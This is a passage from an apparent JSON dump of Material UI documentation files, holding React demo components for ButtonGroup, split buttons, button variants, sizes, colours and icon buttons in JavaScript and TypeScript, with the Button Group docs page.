    "content": "import Button from '@mui/material/Button';\nimport Box from '@mui/material/Box';\nimport ButtonGroup from '@mui/material/ButtonGroup';\n\nconst buttons = [\n  <Button key=\"one\">One</Button>,\n  <Button key=\"two\">Two</Button>,\n  <Button key=\"three\">Three</Button>,\n];\n\nexport default function GroupSizesColors() {\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        flexDirection: 'column',\n        alignItems: 'center',\n        '& > *': {\n          m: 1,\n        },\n      }}\n    >\n      <ButtonGroup size=\"small\" aria-label=\"Small button group\">\n        {buttons}\n      </ButtonGroup>\n      <ButtonGroup color=\"secondary\" aria-label=\"Medium-sized button group\">\n        {buttons}\n      </ButtonGroup>\n      <ButtonGroup size=\"large\" aria-label=\"Large button group\">\n        {buttons}\n      </ButtonGroup>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/button-group/GroupSizesColors.tsx",
    "content": "import Button from '@mui/material/Button';\nimport Box from '@mui/material/Box';\nimport ButtonGroup from '@mui/material/ButtonGroup';\n\nconst buttons = [\n  <Button key=\"one\">One</Button>,\n  <Button key=\"two\">Two</Button>,\n  <Button key=\"three\">Three</Button>,\n];\n\nexport default function GroupSizesColors() {\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        flexDirection: 'column',\n        alignItems: 'center',\n        '& > *': {\n          m: 1,\n        },\n      }}\n    >\n      <ButtonGroup size=\"small\" aria-label=\"Small button group\">\n        {buttons}\n      </ButtonGroup>\n      <ButtonGroup color=\"secondary\" aria-label=\"Medium-sized button group\">\n        {buttons}\n      </ButtonGroup>\n      <ButtonGroup size=\"large\" aria-label=\"Large button group\">\n        {buttons}\n      </ButtonGroup>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/button-group/GroupSizesColors.tsx.preview",
    "content": "<ButtonGroup size=\"small\" aria-label=\"Small button group\">\n  {buttons}\n</ButtonGroup>\n<ButtonGroup color=\"secondary\" aria-label=\"Medium-sized button group\">\n  {buttons}\n</ButtonGroup>\n<ButtonGroup size=\"large\" aria-label=\"Large button group\">\n  {buttons}\n</ButtonGroup>"
  },
  {
    "path": "docs/data/material/components/button-group/LoadingButtonGroup.js",
    "content": "import ButtonGroup from '@mui/material/ButtonGroup';\nimport Button from '@mui/material/Button';\nimport SaveIcon from '@mui/icons-material/Save';\n\nexport default function LoadingButtonGroup() {\n  return (\n    <ButtonGroup variant=\"outlined\" aria-label=\"Loading button group\">\n      <Button>Submit</Button>\n      <Button>Fetch data</Button>\n      <Button loading loadingPosition=\"start\" startIcon={<SaveIcon />}>\n        Save\n      </Button>\n    </ButtonGroup>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/button-group/LoadingButtonGroup.tsx",
    "content": "import ButtonGroup from '@mui/material/ButtonGroup';\nimport Button from '@mui/material/Button';\nimport SaveIcon from '@mui/icons-material/Save';\n\nexport default function LoadingButtonGroup() {\n  return (\n    <ButtonGroup variant=\"outlined\" aria-label=\"Loading button group\">\n      <Button>Submit</Button>\n      <Button>Fetch data</Button>\n      <Button loading loadingPosition=\"start\" startIcon={<SaveIcon />}>\n        Save\n      </Button>\n    </ButtonGroup>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/button-group/LoadingButtonGroup.tsx.preview",
    "content": "<ButtonGroup variant=\"outlined\" aria-label=\"Loading button group\">\n  <Button>Submit</Button>\n  <Button>Fetch data</Button>\n  <Button loading loadingPosition=\"start\" startIcon={<SaveIcon />}>\n    Save\n  </Button>\n</ButtonGroup>"
  },
  {
    "path": "docs/data/material/components/button-group/SplitButton.js",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport ButtonGroup from '@mui/material/ButtonGroup';\nimport ArrowDropDownIcon from '@mui/icons-material/ArrowDropDown';\nimport ClickAwayListener from '@mui/material/ClickAwayListener';\nimport Grow from '@mui/material/Grow';\nimport Paper from '@mui/material/Paper';\nimport Popper from '@mui/material/Popper';\nimport MenuItem from '@mui/material/MenuItem';\nimport MenuList from '@mui/material/MenuList';\n\nconst options = ['Create a merge commit', 'Squash and merge', 'Rebase and merge'];\n\nexport default function SplitButton() {\n  const [open, setOpen] = React.useState(false);\n  const anchorRef = React.useRef(null);\n  const [selectedIndex, setSelectedIndex] = React.useState(1);\n\n  const handleClick = () => {\n    console.info(`You clicked ${options[selectedIndex]}`);\n  };\n\n  const handleMenuItemClick = (event, index) => {\n    setSelectedIndex(index);\n    setOpen(false);\n  };\n\n  const handleToggle = () => {\n    setOpen((prevOpen) => !prevOpen);\n  };\n\n  const handleClose = (event) => {\n    if (anchorRef.current && anchorRef.current.contains(event.target)) {\n      return;\n    }\n\n    setOpen(false);\n  };\n\n  return (\n    <React.Fragment>\n      <ButtonGroup\n        variant=\"contained\"\n        ref={anchorRef}\n        aria-label=\"Button group with a nested menu\"\n      >\n        <Button onClick={handleClick}>{options[selectedIndex]}</Button>\n        <Button\n          size=\"small\"\n          aria-controls={open ? 'split-button-menu' : undefined}\n          aria-expanded={open ? 'true' : undefined}\n          aria-label=\"select merge strategy\"\n          aria-haspopup=\"menu\"\n          onClick={handleToggle}\n        >\n          <ArrowDropDownIcon />\n        </Button>\n      </ButtonGroup>\n      <Popper\n        sx={{ zIndex: 1 }}\n        open={open}\n        anchorEl={anchorRef.current}\n        role={undefined}\n        transition\n        disablePortal\n      >\n        {({ TransitionProps, placement }) => (\n          <Grow\n            {...TransitionProps}\n            style={{\n              transformOrigin:\n                placement === 'bottom' ? 'center top' : 'center bottom',\n            }}\n          >\n            <Paper>\n              <ClickAwayListener onClickAway={handleClose}>\n                <MenuList id=\"split-button-menu\" autoFocusItem>\n                  {options.map((option, index) => (\n                    <MenuItem\n                      key={option}\n                      disabled={index === 2}\n                      selected={index === selectedIndex}\n                      onClick={(event) => handleMenuItemClick(event, index)}\n                    >\n                      {option}\n                    </MenuItem>\n                  ))}\n                </MenuList>\n              </ClickAwayListener>\n            </Paper>\n          </Grow>\n        )}\n      </Popper>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/button-group/SplitButton.tsx",
    "content": "import * as React from 'react';\nimport Button from '@mui/material/Button';\nimport ButtonGroup from '@mui/material/ButtonGroup';\nimport ArrowDropDownIcon from '@mui/icons-material/ArrowDropDown';\nimport ClickAwayListener from '@mui/material/ClickAwayListener';\nimport Grow from '@mui/material/Grow';\nimport Paper from '@mui/material/Paper';\nimport Popper from '@mui/material/Popper';\nimport MenuItem from '@mui/material/MenuItem';\nimport MenuList from '@mui/material/MenuList';\n\nconst options = ['Create a merge commit', 'Squash and merge', 'Rebase and merge'];\n\nexport default function SplitButton() {\n  const [open, setOpen] = React.useState(false);\n  const anchorRef = React.useRef<HTMLDivElement>(null);\n  const [selectedIndex, setSelectedIndex] = React.useState(1);\n\n  const handleClick = () => {\n    console.info(`You clicked ${options[selectedIndex]}`);\n  };\n\n  const handleMenuItemClick = (\n    event: React.MouseEvent<HTMLLIElement, MouseEvent>,\n    index: number,\n  ) => {\n    setSelectedIndex(index);\n    setOpen(false);\n  };\n\n  const handleToggle = () => {\n    setOpen((prevOpen) => !prevOpen);\n  };\n\n  const handleClose = (event: Event) => {\n    if (\n      anchorRef.current &&\n      anchorRef.current.contains(event.target as HTMLElement)\n    ) {\n      return;\n    }\n\n    setOpen(false);\n  };\n\n  return (\n    <React.Fragment>\n      <ButtonGroup\n        variant=\"contained\"\n        ref={anchorRef}\n        aria-label=\"Button group with a nested menu\"\n      >\n        <Button onClick={handleClick}>{options[selectedIndex]}</Button>\n        <Button\n          size=\"small\"\n          aria-controls={open ? 'split-button-menu' : undefined}\n          aria-expanded={open ? 'true' : undefined}\n          aria-label=\"select merge strategy\"\n          aria-haspopup=\"menu\"\n          onClick={handleToggle}\n        >\n          <ArrowDropDownIcon />\n        </Button>\n      </ButtonGroup>\n      <Popper\n        sx={{ zIndex: 1 }}\n        open={open}\n        anchorEl={anchorRef.current}\n        role={undefined}\n        transition\n        disablePortal\n      >\n        {({ TransitionProps, placement }) => (\n          <Grow\n            {...TransitionProps}\n            style={{\n              transformOrigin:\n                placement === 'bottom' ? 'center top' : 'center bottom',\n            }}\n          >\n            <Paper>\n              <ClickAwayListener onClickAway={handleClose}>\n                <MenuList id=\"split-button-menu\" autoFocusItem>\n                  {options.map((option, index) => (\n                    <MenuItem\n                      key={option}\n                      disabled={index === 2}\n                      selected={index === selectedIndex}\n                      onClick={(event) => handleMenuItemClick(event, index)}\n                    >\n                      {option}\n                    </MenuItem>\n                  ))}\n                </MenuList>\n              </ClickAwayListener>\n            </Paper>\n          </Grow>\n        )}\n      </Popper>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/button-group/VariantButtonGroup.js",
    "content": "import Button from '@mui/material/Button';\nimport ButtonGroup from '@mui/material/ButtonGroup';\nimport Box from '@mui/material/Box';\n\nexport default function VariantButtonGroup() {\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        flexDirection: 'column',\n        alignItems: 'center',\n        '& > *': {\n          m: 1,\n        },\n      }}\n    >\n      <ButtonGroup variant=\"outlined\" aria-label=\"Basic button group\">\n        <Button>One</Button>\n        <Button>Two</Button>\n        <Button>Three</Button>\n      </ButtonGroup>\n      <ButtonGroup variant=\"text\" aria-label=\"Basic button group\">\n        <Button>One</Button>\n        <Button>Two</Button>\n        <Button>Three</Button>\n      </ButtonGroup>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/button-group/VariantButtonGroup.tsx",
    "content": "import Button from '@mui/material/Button';\nimport ButtonGroup from '@mui/material/ButtonGroup';\nimport Box from '@mui/material/Box';\n\nexport default function VariantButtonGroup() {\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        flexDirection: 'column',\n        alignItems: 'center',\n        '& > *': {\n          m: 1,\n        },\n      }}\n    >\n      <ButtonGroup variant=\"outlined\" aria-label=\"Basic button group\">\n        <Button>One</Button>\n        <Button>Two</Button>\n        <Button>Three</Button>\n      </ButtonGroup>\n      <ButtonGroup variant=\"text\" aria-label=\"Basic button group\">\n        <Button>One</Button>\n        <Button>Two</Button>\n        <Button>Three</Button>\n      </ButtonGroup>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/button-group/VariantButtonGroup.tsx.preview",
    "content": "<ButtonGroup variant=\"outlined\" aria-label=\"Basic button group\">\n  <Button>One</Button>\n  <Button>Two</Button>\n  <Button>Three</Button>\n</ButtonGroup>\n<ButtonGroup variant=\"text\" aria-label=\"Basic button group\">\n  <Button>One</Button>\n  <Button>Two</Button>\n  <Button>Three</Button>\n</ButtonGroup>"
  },
  {
    "path": "docs/data/material/components/button-group/button-group.md",
    "content": "---\nproductId: material-ui\ntitle: React Button Group component\ncomponents: Button, ButtonGroup\ngithubLabel: 'component: ButtonGroup'\ngithubSource: packages/mui-material/src/ButtonGroup\n---\n\n# Button Group\n\n<p class=\"description\">The ButtonGroup component can be used to group related buttons.</p>\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Basic button group\n\nThe buttons can be grouped by wrapping them with the `ButtonGroup` component.\nThey need to be immediate children.\n\n{{\"demo\": \"BasicButtonGroup.js\"}}\n\n## Button variants\n\nAll the standard button variants are supported.\n\n{{\"demo\": \"VariantButtonGroup.js\"}}\n\n## Sizes and colors\n\nThe `size` and `color` props can be used to control the appearance of the button group.\n\n{{\"demo\": \"GroupSizesColors.js\"}}\n\n## Vertical group\n\nThe button group can be displayed vertically using the `orientation` prop.\n\n{{\"demo\": \"GroupOrientation.js\"}}\n\n## Split button\n\n`ButtonGroup` can also be used to create a split button. The dropdown can change the button action (as in this example) or be used to immediately trigger a related action.\n\n{{\"demo\": \"SplitButton.js\"}}\n\n## Disabled elevation\n\nYou can remove the elevation with the `disableElevation` prop.\n\n{{\"demo\": \"DisableElevation.js\"}}\n\n## Loading\n\nUse the `loading` prop from `Button` to set buttons in a loading state and disable interactions.\n\n{{\"demo\": \"LoadingButtonGroup.js\"}}\n"
  },
  {
    "path": "docs/data/material/components/buttons/BasicButtons.js",
    "content": "import Stack from '@mui/material/Stack';\nimport Button from '@mui/material/Button';\n\nexport default function BasicButtons() {\n  return (\n    <Stack spacing={2} direction=\"row\">\n      <Button variant=\"text\">Text</Button>\n      <Button variant=\"contained\">Contained</Button>\n      <Button variant=\"outlined\">Outlined</Button>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/buttons/BasicButtons.tsx",
    "content": "import Stack from '@mui/material/Stack';\nimport Button from '@mui/material/Button';\n\nexport default function BasicButtons() {\n  return (\n    <Stack spacing={2} direction=\"row\">\n      <Button variant=\"text\">Text</Button>\n      <Button variant=\"contained\">Contained</Button>\n      <Button variant=\"outlined\">Outlined</Button>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/buttons/BasicButtons.tsx.preview",
    "content": "<Button variant=\"text\">Text</Button>\n<Button variant=\"contained\">Contained</Button>\n<Button variant=\"outlined\">Outlined</Button>"
  },
  {
    "path": "docs/data/material/components/buttons/ButtonBaseDemo.js",
    "content": "import { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport ButtonBase from '@mui/material/ButtonBase';\nimport Typography from '@mui/material/Typography';\n\nconst images = [\n  {\n    url: '/static/images/buttons/breakfast.jpg',\n    title: 'Breakfast',\n    width: '40%',\n  },\n  {\n    url: '/static/images/buttons/burgers.jpg',\n    title: 'Burgers',\n    width: '30%',\n  },\n  {\n    url: '/static/images/buttons/camera.jpg',\n    title: 'Camera',\n    width: '30%',\n  },\n];\n\nconst ImageButton = styled(ButtonBase)(({ theme }) => ({\n  position: 'relative',\n  height: 200,\n  [theme.breakpoints.down('sm')]: {\n    width: '100% !important', // Overrides inline-style\n    height: 100,\n  },\n  '&:hover, &.Mui-focusVisible': {\n    zIndex: 1,\n    '& .MuiImageBackdrop-root': {\n      opacity: 0.15,\n    },\n    '& .MuiImageMarked-root': {\n      opacity: 0,\n    },\n    '& .MuiTypography-root': {\n      border: '4px solid currentColor',\n    },\n  },\n}));\n\nconst ImageSrc = styled('span')({\n  position: 'absolute',\n  left: 0,\n  right: 0,\n  top: 0,\n  bottom: 0,\n  backgroundSize: 'cover',\n  backgroundPosition: 'center 40%',\n});\n\nconst Image = styled('span')(({ theme }) => ({\n  position: 'absolute',\n  left: 0,\n  right: 0,\n  top: 0,\n  bottom: 0,\n  display: 'flex',\n  alignItems: 'center',\n  justifyContent: 'center',\n  color: theme.palette.common.white,\n}));\n\nconst ImageBackdrop = styled('span')(({ theme }) => ({\n  position: 'absolute',\n  left: 0,\n  right: 0,\n  top: 0,\n  bottom: 0,\n  backgroundColor: theme.palette.common.black,\n  opacity: 0.4,\n  transition: theme.transitions.create('opacity'),\n}));\n\nconst ImageMarked = styled('span')(({ theme }) => ({\n  height: 3,\n  width: 18,\n  backgroundColor: theme.palette.common.white,\n  position: 'absolute',\n  bottom: -2,\n  left: 'calc(50% - 9px)',\n  transition: theme.transitions.create('opacity'),\n}));\n\nexport default function ButtonBaseDemo() {\n  return (\n    <Box sx={{ display: 'flex', flexWrap: 'wrap', minWidth: 300, width: '100%' }}>\n      {images.map((image) => (\n        <ImageButton\n          focusRipple\n          key={image.title}\n          style={{\n            width: image.width,\n          }}\n        >\n          <ImageSrc style={{ backgroundImage: `url(${image.url})` }} />\n          <ImageBackdrop className=\"MuiImageBackdrop-root\" />\n          <Image>\n            <Typography\n              component=\"span\"\n              variant=\"subtitle1\"\n              sx={[\n                {\n                  color: 'inherit',\n                },\n                (theme) => ({\n                  position: 'relative',\n                  p: 4,\n                  pt: 2,\n                  pb: `calc(${theme.spacing(1)} + 6px)`,\n                }),\n              ]}\n            >\n              {image.title}\n              <ImageMarked className=\"MuiImageMarked-root\" />\n            </Typography>\n          </Image>\n        </ImageButton>\n      ))}\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/buttons/ButtonBaseDemo.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport ButtonBase from '@mui/material/ButtonBase';\nimport Typography from '@mui/material/Typography';\n\nconst images = [\n  {\n    url: '/static/images/buttons/breakfast.jpg',\n    title: 'Breakfast',\n    width: '40%',\n  },\n  {\n    url: '/static/images/buttons/burgers.jpg',\n    title: 'Burgers',\n    width: '30%',\n  },\n  {\n    url: '/static/images/buttons/camera.jpg',\n    title: 'Camera',\n    width: '30%',\n  },\n];\n\nconst ImageButton = styled(ButtonBase)(({ theme }) => ({\n  position: 'relative',\n  height: 200,\n  [theme.breakpoints.down('sm')]: {\n    width: '100% !important', // Overrides inline-style\n    height: 100,\n  },\n  '&:hover, &.Mui-focusVisible': {\n    zIndex: 1,\n    '& .MuiImageBackdrop-root': {\n      opacity: 0.15,\n    },\n    '& .MuiImageMarked-root': {\n      opacity: 0,\n    },\n    '& .MuiTypography-root': {\n      border: '4px solid currentColor',\n    },\n  },\n}));\n\nconst ImageSrc = styled('span')({\n  position: 'absolute',\n  left: 0,\n  right: 0,\n  top: 0,\n  bottom: 0,\n  backgroundSize: 'cover',\n  backgroundPosition: 'center 40%',\n});\n\nconst Image = styled('span')(({ theme }) => ({\n  position: 'absolute',\n  left: 0,\n  right: 0,\n  top: 0,\n  bottom: 0,\n  display: 'flex',\n  alignItems: 'center',\n  justifyContent: 'center',\n  color: theme.palette.common.white,\n}));\n\nconst ImageBackdrop = styled('span')(({ theme }) => ({\n  position: 'absolute',\n  left: 0,\n  right: 0,\n  top: 0,\n  bottom: 0,\n  backgroundColor: theme.palette.common.black,\n  opacity: 0.4,\n  transition: theme.transitions.create('opacity'),\n}));\n\nconst ImageMarked = styled('span')(({ theme }) => ({\n  height: 3,\n  width: 18,\n  backgroundColor: theme.palette.common.white,\n  position: 'absolute',\n  bottom: -2,\n  left: 'calc(50% - 9px)',\n  transition: theme.transitions.create('opacity'),\n}));\n\nexport default function ButtonBaseDemo() {\n  return (\n    <Box sx={{ display: 'flex', flexWrap: 'wrap', minWidth: 300, width: '100%' }}>\n      {images.map((image) => (\n        <ImageButton\n          focusRipple\n          key={image.title}\n          style={{\n            width: image.width,\n          }}\n        >\n          <ImageSrc style={{ backgroundImage: `url(${image.url})` }} />\n          <ImageBackdrop className=\"MuiImageBackdrop-root\" />\n          <Image>\n            <Typography\n              component=\"span\"\n              variant=\"subtitle1\"\n              sx={[\n                {\n                  color: 'inherit',\n                },\n                (theme) => ({\n                  position: 'relative',\n                  p: 4,\n                  pt: 2,\n                  pb: `calc(${theme.spacing(1)} + 6px)`,\n                }),\n              ]}\n            >\n              {image.title}\n              <ImageMarked className=\"MuiImageMarked-root\" />\n            </Typography>\n          </Image>\n        </ImageButton>\n      ))}\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/buttons/ButtonSizes.js",
    "content": "import Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\n\nexport default function ButtonSizes() {\n  return (\n    <Box sx={{ '& button': { m: 1 } }}>\n      <div>\n        <Button size=\"small\">Small</Button>\n        <Button size=\"medium\">Medium</Button>\n        <Button size=\"large\">Large</Button>\n      </div>\n      <div>\n        <Button variant=\"outlined\" size=\"small\">\n          Small\n        </Button>\n        <Button variant=\"outlined\" size=\"medium\">\n          Medium\n        </Button>\n        <Button variant=\"outlined\" size=\"large\">\n          Large\n        </Button>\n      </div>\n      <div>\n        <Button variant=\"contained\" size=\"small\">\n          Small\n        </Button>\n        <Button variant=\"contained\" size=\"medium\">\n          Medium\n        </Button>\n        <Button variant=\"contained\" size=\"large\">\n          Large\n        </Button>\n      </div>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/buttons/ButtonSizes.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\n\nexport default function ButtonSizes() {\n  return (\n    <Box sx={{ '& button': { m: 1 } }}>\n      <div>\n        <Button size=\"small\">Small</Button>\n        <Button size=\"medium\">Medium</Button>\n        <Button size=\"large\">Large</Button>\n      </div>\n      <div>\n        <Button variant=\"outlined\" size=\"small\">\n          Small\n        </Button>\n        <Button variant=\"outlined\" size=\"medium\">\n          Medium\n        </Button>\n        <Button variant=\"outlined\" size=\"large\">\n          Large\n        </Button>\n      </div>\n      <div>\n        <Button variant=\"contained\" size=\"small\">\n          Small\n        </Button>\n        <Button variant=\"contained\" size=\"medium\">\n          Medium\n        </Button>\n        <Button variant=\"contained\" size=\"large\">\n          Large\n        </Button>\n      </div>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/buttons/ColorButtons.js",
    "content": "import Stack from '@mui/material/Stack';\nimport Button from '@mui/material/Button';\n\nexport default function ColorButtons() {\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <Button color=\"secondary\">Secondary</Button>\n      <Button variant=\"contained\" color=\"success\">\n        Success\n      </Button>\n      <Button variant=\"outlined\" color=\"error\">\n        Error\n      </Button>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/buttons/ColorButtons.tsx",
    "content": "import Stack from '@mui/material/Stack';\nimport Button from '@mui/material/Button';\n\nexport default function ColorButtons() {\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <Button color=\"secondary\">Secondary</Button>\n      <Button variant=\"contained\" color=\"success\">\n        Success\n      </Button>\n      <Button variant=\"outlined\" color=\"error\">\n        Error\n      </Button>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/buttons/ColorButtons.tsx.preview",
    "content": "<Button color=\"secondary\">Secondary</Button>\n<Button variant=\"contained\" color=\"success\">\n  Success\n</Button>\n<Button variant=\"outlined\" color=\"error\">\n  Error\n</Button>"
  },
  {
    "path": "docs/data/material/components/buttons/ContainedButtons.js",
    "content": "import Button from '@mui/material/Button';\nimport Stack from '@mui/material/Stack';\n\nexport default function ContainedButtons() {\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <Button variant=\"contained\">Contained</Button>\n      <Button variant=\"contained\" disabled>\n        Disabled\n      </Button>\n      <Button variant=\"contained\" href=\"#contained-buttons\">\n        Link\n      </Button>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/buttons/ContainedButtons.tsx",
    "content": "import Button from '@mui/material/Button';\nimport Stack from '@mui/material/Stack';\n\nexport default function ContainedButtons() {\n  return (\n    <Stack direction=\"row\" spacing={2}>\n      <Button variant=\"contained\">Contained</Button>\n      <Button variant=\"contained\" disabled>\n        Disabled\n      </Button>\n      <Button variant=\"contained\" href=\"#contained-buttons\">\n        Link\n      </Button>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/buttons/ContainedButtons.tsx.preview",
    "content": "<Button variant=\"contained\">Contained</Button>\n<Button variant=\"contained\" disabled>\n  Disabled\n</Button>\n<Button variant=\"contained\" href=\"#contained-buttons\">\n  Link\n</Button>"
  },
  {
    "path": "docs/data/material/components/buttons/CustomizedButtons.js",
    "content": "import { styled } from '@mui/material/styles';\nimport Button from '@mui/material/Button';\nimport Stack from '@mui/material/Stack';\nimport { purple } from '@mui/material/colors';\n\nconst BootstrapButton = styled(Button)({\n  boxShadow: 'none',\n  textTransform: 'none',\n  fontSize: 16,\n  padding: '6px 12px',\n  border: '1px solid',\n  lineHeight: 1.5,\n  backgroundColor: '#0063cc',\n  borderColor: '#0063cc',\n  fontFamily: [\n    '-apple-system',\n    'BlinkMacSystemFont',\n    '\"Segoe UI\"',\n    'Roboto',\n    '\"Helvetica Neue\"',\n    'Arial',\n    'sans-serif',\n    '\"Apple Color Emoji\"',\n    '\"Segoe UI Emoji\"',\n    '\"Segoe UI Symbol\"',\n  ].join(','),\n  '&:hover': {\n    backgroundColor: '#0069d9',\n    borderColor: '#0062cc',\n    boxShadow: 'none',\n  },\n  '&:active': {\n    boxShadow: 'none',\n    backgroundColor: '#0062cc',\n    borderColor: '#005cbf',\n  },\n  '&:focus': {\n    boxShadow: '0 0 0 0.2rem rgba(0,123,255,.5)',\n  },\n});\n\nconst ColorButton = styled(Button)(({ theme }) => ({\n  color: theme.palette.getContrastText(purple[500]),\n  backgroundColor: purple[500],\n  '&:hover': {\n    backgroundColor: purple[700],\n  },\n}));\n\nexport default function CustomizedButtons() {\n  return (\n    <Stack spacing={2} direction=\"row\">\n      <ColorButton variant=\"contained\">Custom CSS</ColorButton>\n      <BootstrapButton variant=\"contained\" disableRipple>\n        Bootstrap\n      </BootstrapButton>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/buttons/CustomizedButtons.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport Button, { ButtonProps } from '@mui/material/Button';\nimport Stack from '@mui/material/Stack';\nimport { purple } from '@mui/material/colors';\n\nconst BootstrapButton = styled(Button)({\n  boxShadow: 'none',\n  textTransform: 'none',\n  fontSize: 16,\n  padding: '6px 12px',\n  border: '1px solid',\n  lineHeight: 1.5,\n  backgroundColor: '#0063cc',\n  borderColor: '#0063cc',\n  fontFamily: [\n    '-apple-system',\n    'BlinkMacSystemFont',\n    '\"Segoe UI\"',\n    'Roboto',\n    '\"Helvetica Neue\"',\n    'Arial',\n    'sans-serif',\n    '\"Apple Color Emoji\"',\n    '\"Segoe UI Emoji\"',\n    '\"Segoe UI Symbol\"',\n  ].join(','),\n  '&:hover': {\n    backgroundColor: '#0069d9',\n    borderColor: '#0062cc',\n    boxShadow: 'none',\n  },\n  '&:active': {\n    boxShadow: 'none',\n    backgroundColor: '#0062cc',\n    borderColor: '#005cbf',\n  },\n  '&:focus': {\n    boxShadow: '0 0 0 0.2rem rgba(0,123,255,.5)',\n  },\n});\n\nconst ColorButton = styled(Button)<ButtonProps>(({ theme }) => ({\n  color: theme.palette.getContrastText(purple[500]),\n  backgroundColor: purple[500],\n  '&:hover': {\n    backgroundColor: purple[700],\n  },\n}));\n\nexport default function CustomizedButtons() {\n  return (\n    <Stack spacing={2} direction=\"row\">\n      <ColorButton variant=\"contained\">Custom CSS</ColorButton>\n      <BootstrapButton variant=\"contained\" disableRipple>\n        Bootstrap\n      </BootstrapButton>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/buttons/CustomizedButtons.tsx.preview",
    "content": "<ColorButton variant=\"contained\">Custom CSS</ColorButton>\n<BootstrapButton variant=\"contained\" disableRipple>\n  Bootstrap\n</BootstrapButton>"
  },
  {
    "path": "docs/data/material/components/buttons/DisableElevation.js",
    "content": "import Button from '@mui/material/Button';\n\nexport default function DisableElevation() {\n  return (\n    <Button variant=\"contained\" disableElevation>\n      Disable elevation\n    </Button>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/buttons/DisableElevation.tsx",
    "content": "import Button from '@mui/material/Button';\n\nexport default function DisableElevation() {\n  return (\n    <Button variant=\"contained\" disableElevation>\n      Disable elevation\n    </Button>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/buttons/DisableElevation.tsx.preview",
    "content": "<Button variant=\"contained\" disableElevation>\n  Disable elevation\n</Button>"
  },
  {
    "path": "docs/data/material/components/buttons/IconButtonColors.js",
    "content": "import Stack from '@mui/material/Stack';\nimport IconButton from '@mui/material/IconButton';\nimport Fingerprint from '@mui/icons-material/Fingerprint';\n\nexport default function IconButtonColors() {\n  return (\n    <Stack direction=\"row\" spacing={1}>\n      <IconButton aria-label=\"fingerprint\" color=\"secondary\">\n        <Fingerprint />\n      </IconButton>\n      <IconButton aria-label=\"fingerprint\" color=\"success\">\n        <Fingerprint />\n      </IconButton>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/buttons/IconButtonColors.tsx",
    "content": "import Stack from '@mui/material/Stack';\nimport IconButton from '@mui/material/IconButton';\nimport Fingerprint from '@mui/icons-material/Fingerprint';\n\nexport default function IconButtonColors() {\n  return (\n    <Stack direction=\"row\" spacing={1}>\n      <IconButton aria-label=\"fingerprint\" color=\"secondary\">\n        <Fingerprint />\n      </IconButton>\n      <IconButton aria-label=\"fingerprint\" color=\"success\">\n        <Fingerprint />\n      </IconButton>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/buttons/IconButtonColors.tsx.preview",
    "content": "<IconButton aria-label=\"fingerprint\" color=\"secondary\">\n  <Fingerprint />\n</IconButton>\n<IconButton aria-label=\"fingerprint\" color=\"success\">\n  <Fingerprint />\n</IconButton>"
  },
  {
    "path": "docs/data/material/components/buttons/IconButtonSizes.js",
    "content": "import Stack from '@mui/material/Stack';\nimport IconButton from '@mui/material/IconButton';\nimport DeleteIcon from '@mui/icons-material/Delete';\n\nexport default function IconButtonSizes() {\n  return (\n    <Stack direction=\"row\" spacing={1} sx={{ alignItems: 'center' }}>\n      <IconButton aria-label=\"delete\" size=\"small\">\n        <DeleteIcon fontSize=\"inherit\" />\n      </IconButton>\n      <IconButton aria-label=\"delete\" size=\"small\">\n        <DeleteIcon fontSize=\"small\" />\n      </IconButton>\n      <IconButton aria-label=\"delete\" size=\"large\">\n        <DeleteIcon />\n      </IconButton>\n      <IconButton aria-label=\"delete\" size=\"large\">\n        <DeleteIcon fontSize=\"inherit\" />\n      </IconButton>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/buttons/IconButtonSizes.tsx",
